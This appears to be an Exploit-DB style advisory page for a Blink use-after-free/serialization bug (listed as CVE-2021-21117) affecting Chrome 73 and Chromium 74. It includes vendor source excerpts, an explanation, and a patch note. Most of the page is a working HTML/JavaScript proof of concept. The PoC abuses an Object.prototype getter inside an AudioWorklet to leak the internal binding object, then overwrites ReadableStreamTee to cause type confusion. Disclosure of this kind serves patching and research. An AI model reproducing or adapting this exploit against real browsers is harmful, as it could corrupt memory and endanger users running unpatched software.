Serialization Vulnerability in Blink

vendor:

Blink

by:

Unknown

7.8

CVSS

HIGH

Serialization Vulnerability

416

CWE

Product Name: Blink

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: YES

Related CWE: CVE-2021-21117

CPE: a:google:blink

Other Scripts:

Platforms Tested:

2021

Serialization Vulnerability in Blink

The AddOriginals function in initialize_v8_extras_binding.cc in Blink does not properly handle serialization when Transferable Streams are enabled, which allows remote attackers to execute arbitrary code or cause a denial of service (use-after-free) via a crafted HTML page. The vulnerability exists in the serialization process for MessagePort and DOMException objects.

Mitigation:

Apply the patch provided by the vendor to fix the serialization vulnerability. Upgrade to a version of Blink that includes the fix.

Source

Exploit-DB raw data:

<!--
VULNERABILITY DETAILS
https://cs.chromium.org/chromium/src/third_party/blink/renderer/bindings/core/v8/initialize_v8_extras_binding.cc?rcl=b16591511b299e0791def0b85dced2c74efc4961&l=90
void AddOriginals(ScriptState* script_state, v8::Local<v8::Object> binding) {
  // These values are only used when serialization is enabled.
  if (!RuntimeEnabledFeatures::TransferableStreamsEnabled())
    return;

  v8::Local<v8::Object> global = script_state->GetContext()->Global();
  v8::Local<v8::Context> context = script_state->GetContext();
  v8::Isolate* isolate = script_state->GetIsolate();

  const auto ObjectGet = [&context, &isolate](v8::Local<v8::Value> object,
                                              const char* property) {
    DCHECK(object->IsObject());
    return object.As<v8::Object>()
        ->Get(context, V8AtomicString(isolate, property))
        .ToLocalChecked();
  };

[...]

  v8::Local<v8::Value> message_port = ObjectGet(global, "MessagePort");
  v8::Local<v8::Value> dom_exception = ObjectGet(global, "DOMException");

  // Most Worklets don't have MessagePort. In this case, serialization will
  // fail. AudioWorklet has MessagePort but no DOMException, so it can't use
  // serialization for now.
  if (message_port->IsUndefined() || dom_exception->IsUndefined()) // ***1***
    return;

  v8::Local<v8::Value> event_target_prototype =
      GetPrototype(ObjectGet(global, "EventTarget"));
  Bind("EventTarget_addEventListener",
       ObjectGet(event_target_prototype, "addEventListener"));

  v8::Local<v8::Value> message_port_prototype = GetPrototype(message_port);
  Bind("MessagePort_postMessage",
       ObjectGet(message_port_prototype, "postMessage"));
[...]

https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/ReadableStream.js?rcl=b16591511b299e0791def0b85dced2c74efc4961&l=1044
  function ReadableStreamSerialize(readable, port) {
    // assert(IsReadableStream(readable),
    //        `! IsReadableStream(_readable_) is true`);
    if (IsReadableStreamLocked(readable)) {
      throw new TypeError(streamErrors.cannotTransferLockedStream);
    }

    if (!binding.MessagePort_postMessage) { // ***2***
      throw new TypeError(streamErrors.cannotTransferContext);
    }

    const writable = CreateCrossRealmTransformWritable(port);
    const promise =
          ReadableStreamPipeTo(readable, writable, false, false, false);
    markPromiseAsHandled(promise);
  }

A worklet's context might not have the objects required to implement ReadableStream serialization.
In that case, |AddOriginals| would exit early leaving the |binding| object partially initialized[1].
|ReadableStreamSerialize| checks if the "MessagePort_postMessage" property exists on the |binding|
object to determine whether serialization is possible[2]. The problem is that the check would be
observable to a getter defined on |Object.prototype|, which could leak the value of |binding|.


VERSION
Google Chrome 73.0.3683.39 (Official Build) beta (64-bit) (cohort: Beta)
Chromium 74.0.3712.0 (Developer Build) (64-bit)

Also, please note that the "stream serialization" feature is currently hidden behind the
"experimental platform features" flag.


REPRODUCTION CASE
The repro case uses the leaked |binding| object to redefine an internal method and trigger a type
confusion.
-->

<body>
<h1>Click to start AudioContext</h1>
<script>
function runInWorket() {
  function leakBinding(port) {
    let stream = new ReadableStream;
    let binding;
    Object.prototype.__defineGetter__("MessagePort_postMessage", function() {
      binding = this;
    });
    try {
      port.postMessage(stream, [stream]);
    } catch (e) {}
    delete Object.prototype.MessagePort_postMessage;
    return binding;
  }

  function triggerTypeConfusion(binding) {
    console.log(Object.keys(binding));

    binding.ReadableStreamTee = function() {
      return 0x4142;
    }
    let stream = new ReadableStream;
    stream.tee();
  }

  class MyWorkletProcessor extends AudioWorkletProcessor {
    constructor() {
      super();

      triggerTypeConfusion(leakBinding(this.port));
    }

    process() {}
  }

  registerProcessor("my-worklet-processor", MyWorkletProcessor);
}
let blob = new Blob([`(${runInWorket}())`], {type: "text/javascript"});
let url = URL.createObjectURL(blob);

window.onclick = () => {
  window.onclick = null;

  class MyWorkletNode extends AudioWorkletNode {
    constructor(context) {
      super(context, "my-worklet-processor");
    }
  }

  let context = new AudioContext();

  context.audioWorklet.addModule(url).then(() => {
    let node = new MyWorkletNode(context);
  });
}
</script>
</body>